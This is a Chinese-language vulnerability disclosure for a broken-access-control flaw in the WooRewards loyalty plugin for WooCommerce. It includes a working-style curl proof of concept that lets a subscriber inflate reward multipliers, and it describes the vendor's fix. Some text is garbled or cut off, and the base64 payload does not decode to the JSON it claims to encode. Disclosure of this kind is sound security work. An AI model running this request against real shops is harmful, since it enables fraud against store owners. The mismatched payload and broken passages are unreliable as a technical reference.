免责声明: 本仓库仅用于教育目的及负责任的披露。该漏洞已向厂商报告并获得修复。请勿利用此信息在未经授权的情况下攻击系统。
在 WooCommerce 的 MyRewards(WooRewards) 插件(版本 <= 5.6.0)中发现了一个严重的访问控制失效/权限提升漏洞。该漏洞允许任何已登录用户,即使是权限最低的订阅者,也能绕过授权并修改敏感商店奖励规则。
利用此漏洞,攻击者可将其忠诚度积分倍数膨胀至天文数字(例如 h999,999,999),从而通过单次小额购物积累海量积分,并兑换优惠券或免费商品,直接导致商店经济损失。
<= 5.6.0该漏洞的根本原因在于,处理数据库修改的关键 AJAX 端点未能实现能力检查或 CSRF 保护。
1. 未授权 AJAX 注册:
插件使用一个通用控制器类(EditlistControler)管理 CRUD 操作。在 editlistcontroler.php 中,它通过 gwp_ajax_ 钩子注册了 AJAX 动作 editlist,使其对所有已登录用户可用,无论其角色如何:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. 缺乏授权及 Nonce 验证:
在 ajax() 和 accept() 方法中,代码仅根据用户输入处理状态更改请求(例如 put 用于更新,del 用于删除)。它完全缺失了对 current_user_can() 和 check_ajax_referer() 的调用,意味着没有验证用户是否拥有 manage_woocommerce 权限。
3. 危险的有效载荷处理:
端点通过 line 参数接受 base64 编码的 JSON 字符串,解码后直接传递给 EventList::write() 方法,将恶意设置保存到数据库:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
以下步骤演示了已认证的订阅者如何利用此漏洞。
subscriber 级别账号的有效凭证。101)是顺序生成的,可通过观察 AJAX 响应轻松枚举。我们希望将规则 ID 101 的积分倍数更新为 999,999,999,999,999。
初始 JSON
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Base64 编码(作为 'line' 参数的值)
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
以低权限用户身份运行以下 CURL 请求:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} 确认更新成功。要修复此问题,请将 MyRewards 插件更新至最新修补版本。厂商通过以下方式解决了漏洞:
current_user_can() 检查,以验证管理员权限。check_ajax_referer() 以验证 nonce 并防止跨站请求伪造(CSRF)。以下披露过程简表,以证明遵循了道德标准: